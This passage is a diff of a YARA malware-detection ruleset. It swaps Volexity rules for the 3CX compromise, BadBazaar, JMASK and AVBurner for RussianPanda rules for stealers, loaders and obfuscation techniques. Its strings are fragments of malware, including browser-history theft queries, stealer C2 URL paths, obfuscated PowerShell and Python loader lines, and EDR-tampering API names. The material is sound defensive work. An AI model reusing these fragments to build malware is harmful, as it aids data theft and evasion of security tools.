-		tags = "CHARMINGKITTEN"
-		hash1 = "de99c4fa14d99af791826a170b57a70b8265fee61c6b6278d3fe0aad98e85460"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$appname = "[AppProject.Program]::Main()" ascii wide
-		$langfilters1 = "*shar*" ascii wide
-		$langfilters2 = "*owers*" ascii wide
-		$definitions1 = "[string]$language" ascii wide
-		$definitions2 = "[string]$Command" ascii wide
-		$definitions3 = "[string]$ThreadName" ascii wide
-		$definitions4 = "[string]$StartStop" ascii wide
-		$sess = "$session = $v + \";;\" + $env:COMPUTERNAME + $mac;" ascii wide
+		$s1 = {F6 17 [16-20] 80 2F 36 [16-20] 80 07 87}
+		$s2 = {81 38 50 45 00 00 [20-22] 8B 88 A0 00 00 00 [2-4] 8B 80 A4 00 00 00 [5-7] 8B 40 50 [50-56] 89 0C 24 89 44 24 04 C7 44 24 08 00 30 00 00 C7 44 24 0C 04 00 00 00 FF 15 [3] 00}
 
 	condition:
-		$appname or all of ($langfilters*) or all of ($definitions*) or $sess
+		uint16(0)==0x5A4D and $s1 and $s2
 }
-rule VOLEXITY_Apt_Ico_Uta0040_B64_C2 : UTA0040 FILE
+rule RUSSIANPANDA_Obfuscation_Powershell_Special_Chars
 {
 	meta:
-		description = "Detection of malicious ICO files used in 3CX compromise."
-		author = "threatintel@volexity.com"
-		id = "1efb6376-a362-5f03-b4d3-08cd7d634de6"
-		date = "2023-03-30"
-		modified = "2023-03-30"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-03-30 3CX/indicators/rules.yar#L1-L31"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "2667a36ce151c6e964f9ce9a6f587eedbffdd6ec76e451a23c5cfdd08248d15e"
+		description = "Detects PowerShell special character obfuscation"
+		author = "RussianPanda"
+		id = "dd2d41d4-3431-5252-adf1-d537f3b8db7e"
+		date = "2024-01-12"
+		modified = "2024-02-02"
+		reference = "https://perl-users.jp/articles/advent-calendar/2010/sym/11"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/PowerShell Obfuscation/obfuscation_powershell_special_chars.yar#L1-L15"
+		license_url = "N/A"
+		hash = "d77efad78ef3afc5426432597ba129141952719846bc5ccd058249bb23d8a905"
+		logic_hash = "4cc4ebffe7bf712b412a060536acc51d94381d24b46e5494195ae17482076cd6"
 		score = 75
-		quality = 80
-		tags = "UTA0040, FILE"
-		hash1 = "a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c"
-		memory_suitable = 0
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 81
+		tags = ""
 
 	strings:
-		$IEND_dollar = {49 45 4e 44 ae 42 60 82 24}
-		$IEND_nodollar = {49 45 4e 44 ae 42 60 82 }
+		$s1 = {7d 3d 2b 2b 24 7b}
+		$s2 = {24 28 20 20 29}
+		$s3 = {24 7B [1-10] 7D 20 20 2B 20 20 24}
+		$s4 = {24 7B [1-10] 7D 24 7B}
 
 	condition:
-		uint16be(0)==0x0000 and filesize <120KB and ($IEND_dollar in ( filesize -500.. filesize ) and not $IEND_nodollar in ( filesize -20.. filesize ) and for any k in (1..#IEND_dollar) : ( for all i in (1..4) : ( uint8(@IEND_dollar[k]+!IEND_dollar[k]+i)<123 and uint8(@IEND_dollar[k]+!IEND_dollar[k]+i)>47)))
+		2 of ($s*)
 }
-rule VOLEXITY_Apt_Mac_Iconic : UTA0040
+rule RUSSIANPANDA_PSWSTEALER : FILE
 {
 	meta:
-		description = "Detects the MACOS version of the ICONIC loader."
-		author = "threatintel@volexity.com"
-		id = "6d702ed3-e5b9-5324-a06b-507c9231cc00"
-		date = "2023-03-30"
-		modified = "2023-03-30"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-03-30 3CX/indicators/rules.yar#L32-L50"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "7b689c3931632b01869ac2f21a1edca0a5ca9007299fe7cd16962d6866c27558"
+		description = "PSWSTEALER"
+		author = "RussianPanda"
+		id = "8a596074-ffe3-5979-b384-487ebe8b953c"
+		date = "2023-04-02"
+		modified = "2023-05-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/PSWSTEALER/pswstealer.yar#L1-L14"
+		license_url = "N/A"
+		logic_hash = "7d85b0ccaa07419f22b9f38a4bc66435cd689b21fa7e4584ef8bea485b6bd2c1"
 		score = 75
-		quality = 80
-		tags = "UTA0040"
-		hash1 = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$str1 = "3CX Desktop App" xor(0x01-0xff)
-		$str2 = "__tutma=" xor(0x01-0xff)
-		$str3 = "Mozilla/5.0" xor(0x01-0xff)
+		$obf = {09 20 FF [3] 5F 06 25 17 58 0A 61 1E 62 09 1E 63 06 25 17 58 0A 61 D2 60 D1 9D}
+		$obf1 = {09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C}
+		$enc = {73 ?? 00 00 0A 73 ?? 00 00 0A}
+		$s = {73 ?? 00 00 0A 0C 08 6F ?? 00 00 0A}
 
 	condition:
-		all of them
+		all of them and filesize <200KB
 }
-rule VOLEXITY_Apt_Win_Iconicstealer : UTA0040
+rule RUSSIANPANDA_Mal_Asuka_Stealer : FILE
 {
 	meta:
-		description = "Detect the ICONICSTEALER malware family."
-		author = "threatintel@volexity.com"
-		id = "d7896506-6ce5-59b1-b24a-87ffdb2a5174"
-		date = "2023-03-30"
-		modified = "2023-03-30"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-03-30 3CX/indicators/rules.yar#L51-L69"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "ed7731d2361e7d96a6a35f8359b61a2af049b16bc457cf870db8831e142aebe2"
+		description = "Detects AsukaStealer"
+		author = "RussianPanda"
+		id = "a718be5f-dc76-5610-9237-038a9719d7e5"
+		date = "2024-02-02"
+		modified = "2024-03-18"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/AsukaStealer/mal_asuka_stealer.yar#L1-L12"
+		license_url = "N/A"
+		logic_hash = "7974e0de821ddcafd4f00b27d587108f0d80f8a231dd0db4d2be4fa6ab44fef4"
 		score = 75
-		quality = 80
-		tags = "UTA0040"
-		hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$str1 = "\\3CXDesktopApp\\config.json" wide
-		$str2 = "url, title FROM urls" wide
-		$str3 = "url, title FROM moz_places" wide
+		$s1 = {32 14 3E E8 F6 81 00 00}
+		$s2 = {00 58 00 2D 00 43 00 6F 00 6E 00 66 00 69 00 67}
+		$s3 = {58 00 2D 00 49 00 6E 00 66 00 6F}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule VOLEXITY_Apt_Win_Iconic : UTA0040
+rule RUSSIANPANDA_Win_Mal_Koi_Loader : FILE
 {
 	meta:
-		description = "Detect the ICONIC loader."
-		author = "threatintel@volexity.com"
-		id = "e7d6fcc0-c830-5236-90fb-182c66873903"
-		date = "2023-03-30"
-		modified = "2023-03-30"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-03-30 3CX/indicators/rules.yar#L70-L93"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "b62b1543c9af3afb8fc885f313e1a5d2fcb688657e3807cce72b31b56381681e"
+		description = "Detects Koi Loader"
+		author = "RussianPanda"
+		id = "a608558d-97c8-5161-a6eb-29fd420458a8"
+		date = "2024-04-04"
+		modified = "2024-04-04"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Koi/win_mal_Koi_loader.yar#L1-L14"
+		license_url = "N/A"
+		hash = "47e208687c2fb40bdbaa17e368aaa1bd"
+		logic_hash = "4f909865c6d274804c3fa7f66822d7bea71bb93e7c6a422ebaf220df056ac095"
 		score = 75
-		quality = 55
-		tags = "UTA0040"
-		hash1 = "f79c3b0adb6ec7bcc8bc9ae955a1571aaed6755a28c8b17b1d7595ee86840952"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$internal_name = "samcli.dll"
-		$str1 = "gzip, deflate, br"
-		$str2 = "__tutma"
-		$str3 = "__tutmc"
-		$str4 = "ChainingModeGCM" wide
-		$str5 = "ChainingMode" wide
-		$str6 = "icon%d.ico" wide
+		$s1 = {27 11 68 05}
+		$s2 = {15 B1 B3 09}
+		$s3 = {B5 96 AA 0D}
+		$s4 = {74 [0-10] C1 E9 18}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of ($s*)
 }
-rule VOLEXITY_Apt_Win_3Cx_Backdoored_Lib : UTA0040
+rule RUSSIANPANDA_Win_Mal_Koistealer_PS
 {
 	meta:
-		description = "Detects the malicious library delivered in the backdoored 3CX installer."
-		author = "threatintel@volexity.com"
-		id = "39270b93-830e-598f-a38e-fcc5050e4d30"
-		date = "2023-03-30"
-		modified = "2023-03-30"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-03-30 3CX/indicators/rules.yar#L94-L133"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "40be2d46a318ff03724ea1f6628d78001c14c85a3ae6d032c0324ea849d707f2"
+		description = "Detects KoiStealer PowerShell script"
+		author = "RussianPanda"
+		id = "6dfdb39c-1b6a-5969-9c2d-e09869af6e0f"
+		date = "2024-04-04"
+		modified = "2024-04-04"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Koi/win_mal_KoiStealer_PS.yar#L1-L12"
+		license_url = "N/A"
+		hash = "4f55be0b55ec67dfda42b88e9c743a2a"
+		logic_hash = "8a60a1d770eb4b5048762ddfd4657fdf7a430b09eb454ae5a5bb3103460907db"
 		score = 75
-		quality = 80
-		tags = "UTA0040"
-		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = ""
 
 	strings:
-		$shellcode = {
-                        44 8D 4A ??
-                        44 8D 92 ?? ?? ?? ??
-                        45 85 C9
-                        45 0F 49 D1
-                        41 81 E2 00 FF FF FF
-                        41 F7 DA
-                        44 01 D2
-                        FF C2
-                        4C 63 CA
-                        46 8A 94 0C ?? ?? ?? ??
-                        45 00 D0
-                        45 0F B6 D8
-                        42 8A AC 1C ?? ?? ?? ??
-                        46 88 94 1C ?? ?? ?? ??
-                        42 88 AC 0C ?? ?? ?? ??
-                        42 02 AC 1C ?? ?? ?? ??
-                        44 0F B6 CD
-                        46 8A 8C 0C ?? ?? ?? ??
-                        45 30 0C 0E
-                        48 FF C1
-                        48 39 C8
-                        75 ??
-                }
+		$s1 = "index.php?id=$guid&subid="
+		$s2 = "$config"
 
 	condition:
-		all of them
+		all of ($s*)
 }
-rule VOLEXITY_Informational_Win_3Cx_Msi : UTA0040
+rule RUSSIANPANDA_Win_Mal_Koi_Loader_Decrypted : FILE
 {
 	meta:
-		description = "Detects 3CX installers created in March 2023, 3CX was known to be compromised at this time."
-		author = "threatintel@volexity.com"
-		id = "ac26e7b1-61eb-5074-bcda-46d714bdba4c"
-		date = "2023-03-30"
-		modified = "2023-03-30"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-03-30 3CX/indicators/rules.yar#L134-L152"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "c04de2653ef587f27c7ebf058c6f6c345e16b67f36ccc4306bc49f8c4394728e"
+		description = "Detects decrypted Koi Loader"
+		author = "RussianPanda"
+		id = "71de93d3-5c9f-5994-a54d-d4455d500280"
+		date = "2024-04-04"
+		modified = "2024-04-04"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Koi/win_mal_Koi_loader_decrypted.yar#L1-L12"
+		license_url = "N/A"
+		hash = "1901593e0299930d46b963866f33a93b"
+		logic_hash = "f73ada7185ff109afe1e186a0fb7b4420b3d0e04c93c7c5423243db97eb34e49"
 		score = 75
-		quality = 80
-		tags = "UTA0040"
-		hash1 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
-		memory_suitable = 0
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$cert = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
-		$app = "3CXDesktopApp.exe"
-		$data = "202303"
+		$s1 = {73 00 64 00 32 00 2E 00 70 00 73 00 31 00}
+		$s2 = {25 00 74 00 65 00 6D 00 70 00 25 00 5C 00 25 00 70 00 61 00 74 00 68 00 73 00 25}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of ($s*)
 }
-rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Common_Certificate : EVILBAMBOO FILE
+rule RUSSIANPANDA_Win_Sus_Internetshortcutfile
 {
 	meta:
-		description = "Detection of the common.cer file used for a large BADBAZAAR malware cluster for its certificate pinning for the C2 communication."
-		author = "threatintel@volexity.com"
-		id = "5a033770-7ad3-5c79-90ac-b1e3fff6b5f0"
-		date = "2023-06-01"
-		modified = "2023-06-13"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L230-L255"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "861d4e1c40847c6ade04eddb047370d645afea6d5c16d55155fa58a16111c39e"
-		score = 75
-		quality = 80
-		tags = "EVILBAMBOO, FILE"
-		hash1 = "6aefc2b33e23f6e3c96de51d07f7123bd23ff951d67849a9bd32d446e76fb405"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		description = "Detects suspicious Internet Shortcut Files that are often used to retrieve malware"
+		author = "RussianPanda"
+		id = "88d5d33f-0342-5575-b5e4-31ac5695abf2"
+		date = "2024-02-17"
+		modified = "2024-02-17"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Techniques/win_sus_InternetShortcutFile.yar#L1-L19"
+		license_url = "N/A"
+		logic_hash = "9ec321ba521949fcc1db09b843913424182bfbb14eac61e92b7132d88b275ceb"
+		score = 65
+		quality = 58
+		tags = ""
 
 	strings:
-		$b1 = {30 82 03 61 30 82 02 49 a0 03 02 01 02 02 04 2b 6e df 67 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b}
-		$s1 = "california1"
-		$s2 = "los1"
-		$s3 = "tech1"
-		$s4 = "common1"
-		$s5 = "common0"
-		$s6 = "220401234506Z"
-		$s7 = "470326234506Z0a1"
+		$s1 = "[InternetShortcut]"
+		$s2 = {55 52 4C 3D 66 69 6C 65 3A 2F 2F}
+		$a1 = ".exe"
+		$a2 = ".dll"
+		$a3 = ".js"
+		$a4 = ".msi"
+		$a5 = ".msix"
+		$a6 = ".bat"
+		$a7 = ".cmd"
 
 	condition:
-		$b1 at 0 or all of ($s*)
+		all of ($s*) and any of ($a*)
 }
-rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Stage2_Implant_May23 : EVILBAMBOO FILE
+rule RUSSIANPANDA_Golang_Base64_Enc : FILE
 {
 	meta:
-		description = "Detection of the second stage capability of the BadBazaar android malware that has the main malicious capabilities. Will gather various info about the user/phone and routinely send this to the C2."
-		author = "threatintel@volexity.com"
-		id = "1f97c610-773f-5385-935a-445cb9192157"
-		date = "2023-05-25"
-		modified = "2023-08-30"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L257-L285"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "2186369298ebfa0b892ecb14ebacc93c6d14c9c35012e8e6cdff077634cf3773"
+		description = "Detects Base64 Encoding and Decoding patterns in Golang binaries"
+		author = "RussianPanda"
+		id = "6330e005-9c67-5acd-9063-aa7e30e92f5f"
+		date = "2024-01-10"
+		modified = "2024-01-14"
+		reference = "https://unprotect.it/technique/base64/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Techniques/golang_base64_enc.yar#L1-L18"
+		license_url = "N/A"
+		hash = "509a359b4d0cd993497671b91255c3775628b078cde31a32158c1bc3b2ce461c"
+		logic_hash = "72cf3ee948df9c4ce593f16a49397e79fdc5ecc3264b3685bbc54f60ed1278bd"
 		score = 75
-		quality = 80
-		tags = "EVILBAMBOO, FILE"
-		hash1 = "bf5f7fbf42236e89bcf663d2822d54bee89abaf3f247a54f371bf156e0e03629"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$c1 = "%{\"command\":\"%s\",\"path\":\"%s\",\"files\":["
-		$c2 = "{\"name\":\"%s\",\"dirs\":\"%d\",\"files\":\"%d\",\"isfolder\":\"%d\",\"path\":\"%s\"},"
-		$s1 = "Timezon id:"
-		$s2 = "China Telecom"
-		$s3 = "China Unicom"
-		$s4 = "ConfigPipe"
-		$s5 = "ForwordTo"
-		$s6 = "can't get camera content"
-		$s7 = "cat /sys/class/net/wlan0/address"
-		$s8 = "_preferences_light"
-		$s9 = "registration_jid"
+		$s1 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 45 6e 63 6f 64 65 54 6f 53 74 72 69 6e 67 28 [0-15] 29}
+		$s2 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 44 65 63 6f 64 65 53 74 72 69 6e 67 28 [0-15] 29}
+		$s3 = {69 66 20 65 72 72 20 21 3D 20 6E 69 6C 20 7B}
+		$s4 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
 
 	condition:
-		1 of ($c*) or 5 of ($s*)
+		all of ($s*) and uint16(0)==0x5A4D
 }
-rule VOLEXITY_Apt_Delivery_Web_Js_Jmask_Str_Array_Variant : EVILBAMBOO FILE
+rule RUSSIANPANDA_Susp_Obf_Py_Marshal_Module : FILE
 {
 	meta:
-		description = "Detects the JMASK profiling script in an obfuscated format using a string array and an offset."
-		author = "threatintel@volexity.com"
-		id = "d5d32c8b-53fb-5103-ac73-05f320e71c97"
-		date = "2023-06-27"
-		modified = "2023-09-21"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L408-L444"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "0ae7c96e0f866f21d66d7a23bf937d6ce48c9dd1ea19142dbb13487208780146"
-		score = 75
-		quality = 80
-		tags = "EVILBAMBOO, FILE"
-		hash1 = "7995c382263f8dbbfc37a9d62392aef8b4f89357d436b3dd94dea842f9574ecf"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		description = "Detects Obfuscated Code Using Python Marshal Module"
+		author = "RussianPanda"
+		id = "23ed45f6-69ba-5027-ad68-4be858fc1f91"
+		date = "2024-01-16"
+		modified = "2024-01-16"
+		reference = "https://www.trendmicro.com/fr_fr/research/23/j/infection-techniques-across-supply-chains-and-codebases.html"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Techniques/susp_obf_py_marshal_module.yar#L1-L18"
+		license_url = "N/A"
+		hash = "d740129ff6bdb65a324eadf4ac8de3893a54306cf2a11712a305ef6247204092"
+		logic_hash = "f150fae6d7a4642f714f4620dab65f452e5eb9cb57e9cbea46010aac3ecbb3cb"
+		score = 65
+		quality = 60
+		tags = "FILE"
 
 	strings:
-		$array_1 = "http://eular.github.io"
-		$array_2 = "stun:stun.services.mozilla.com"
-		$array_3 = "\xE6\x9C\xAA\xE5\xAE\x89\xE8\xA3\x85MetaMask"
-		$array_4 = "/jquery/jquery.min.js"
-		$array_5 = "onicecandidate"
-		$ios_1 = "['a7', '640x1136', [_0x"
-		$ios_2 = "['a7', _0x"
-		$ios_3 = "['a8', _0x"
-		$ios_4 = "['a8', '750x1334', ['iPhone\\x206']]"
-		$ios_5 = "['a8', '1242x2208', ['iPhone\\x206\\x20Plus']]"
-		$ios_6 = "['a8', _0x"
-		$ios_7 = "['a9', _0x"
-		$ios_8 = "['a9', '750x1334', [_0x"
-		$ios_9 = "['a9', '1242x2208', ['iPhone\\x206s\\x20Plus']]"
-		$ios_10 = "['a9x', '2048x2732', ['iPad\\x20Pro\\x20(1st\\x20gen\\x2012.9-inch)']]"
-		$ios_11 = "['a10x', '1668x2224', [_0x"
-		$header = "info = {}, finished = 0x0;"
+		$s1 = "exec(marshal.loads(zlib.decompress(b'x\\x9c"
+		$t2 = "gzip"
+		$t3 = "lzma"
+		$t4 = "bz2"
+		$t5 = "binascii"
 
 	condition:
-		3 of ($array_*) or 5 of ($ios_*) or $header
+		$s1 and any of ($t*) and filesize <2MB
 }
-rule VOLEXITY_Apt_Delivery_Web_Js_Jmask : EVILBAMBOO FILE
+rule RUSSIANPANDA_Check_Installed_Software : FILE
 {
 	meta:
-		description = "Detects the JMASK profiling script in its minified // obfuscated format."
-		author = "threatintel@volexity.com"
-		id = "a7b653e1-f7c6-56cc-ab99-3de91d29ef3b"
-		date = "2023-06-15"
-		modified = "2023-09-21"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L446-L472"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "64315ac05049954d36297a616a25ffdd7ce81c6313c0878d5ba4082da24c21bb"
-		score = 75
-		quality = 80
-		tags = "EVILBAMBOO, FILE"
-		hash1 = "efea95720853e0cd2d9d4e93a64a726cfe17efea7b17af7c4ae6d3a6acae5b30"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		description = "No description has been set in the source file - RussianPanda"
+		author = "RussianPanda"
+		id = "a45c7012-dc83-59da-a691-251f0a06be12"
+		date = "2024-01-14"
+		modified = "2024-01-15"
+		reference = "https://unprotect.it/technique/checking-installed-software/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Techniques/check_installed_software.yar#L1-L19"
+		license_url = "N/A"
+		hash = "db44d4cd1ea8142790a6b26880b41ee23de5db5c2a63afb9ee54585882f1aa07"
+		logic_hash = "ab079f1edaffca5bce1e872d6e4fc44f7c22b9260feaed7cd38e578646d420ef"
+		score = 50
+		quality = 35
+		tags = "FILE"
 
 	strings:
-		$rev0 = "oi.buhtig.ralue//:ptth" ascii
-		$rev1 = "lairA' xp41" ascii
-		$rev2 = "dnuof ton ksaMateM" ascii
-		$unicode1 = "document[\"\\u0063\\u0075\\u0072\\u0072\\u0065\\u006e\\u0074\\u0053\\u0063\\u0072\\u0069\\u0070\\u0074\"]" ascii
-		$unicode2 = "\\u0061\\u0070\\u0070\\u006c\\u0069\\u0063\\u0061\\u0074\\u0069\\u006f\\u006e\\u002f\\u006a\\u0073\\u006f\\u006e" ascii
-		$unicode3 = "\\u0063\\u006c\\u0069\\u0065\\u006e\\u0074\\u0057\\u0069\\u0064\\u0074\\u0068" ascii
-		$unicode4 = "=window[\"\\u0073\\u0063\\u0072\\u0065\\u0065\\u006e\"]" ascii
-		$header = "(function(){info={};finished=" ascii
+		$d1 = "DisplayVersion"
+		$u1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
+		$reg = "RegOpenKeyExA"
+		$h = {68 (01|02) 00 00 80}
 
 	condition:
-		all of ($rev*) or all of ($unicode*) or $header
+		uint16(0)==0x5A4D and $reg and $h and for any i in (1..#u1) : ($d1 in (@u1[i]-200..@u1[i]+200))
 }
-rule VOLEXITY_Apt_Win_Avburner : SNAKECHARMER
+rule RUSSIANPANDA_Neptune_Loader : FILE
 {
 	meta:
-		description = "Detects AVBurner based on a combination of API calls used, hard-coded strings and bytecode patterns."
-		author = "threatintel@volexity.com"
-		id = "1bde0861-4820-5bb1-98a3-516092c91be0"
-		date = "2023-01-02"
-		modified = "2023-03-07"
-		reference = "https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-03-07 AVBurner/yara.yar#L1-L36"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "4b1b1a1293ccd2c0fd51075de9376ebb55ab64972da785153fcb0a4eb523a5eb"
-		logic_hash = "56ff6c8a4b737959a1219699a0457de1f0c34fead4299033840fb23c56a0caad"
+		description = "Detects Neptune Loader"
+		author = "RussianPanda"
+		id = "d576bf47-10bd-55d0-99b0-69c02dc87f17"
+		date = "2024-01-17"
+		modified = "2024-01-21"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/NeptuneLoader/neptune_loader.yar#L1-L18"
+		license_url = "N/A"
+		logic_hash = "ca54b8a624d48aa28bc727420f25e6f0fd67b193ac79443a357d88a9fe7cbdbb"
 		score = 75
-		quality = 80
-		tags = "SNAKECHARMER"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$api1 = "PspCreateProcessNotifyRoutineAddress" wide
-		$api2 = "PspCreateThreadNotifyRoutineAddress" wide
-		$api3 = "PspLoadImageNotifyRoutineAddress" wide
-		$str1 = "\\\\.\\RTCORE64" wide
-		$str2 = "\\\\%ws/pipe/%ws" wide
-		$str3 = "CreateServerW Failed %u" wide
-		$str4 = "OpenSCManager Failed %u" wide
-		$str5 = "Get patternAddress" wide
-		$pattern1 = { 4C 8B F9 48 8D 0C C1 E8 }
-		$pattern2 = { 48 8D 0C DD 00 00 00 00  45 33 C0 49 03 CD 48 8B }
-		$pattern3 = { 48 8D 04 C1 48 89 45 70 48 8B C8 E8 }
-		$pattern4 = { 49 8D 0C FC 45 33 C0 48 8B D6 E8 00 00 00 00 00}
-		$pattern5 = { 45 33 C0 48 8D 0C D9 48 8B D7 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 }
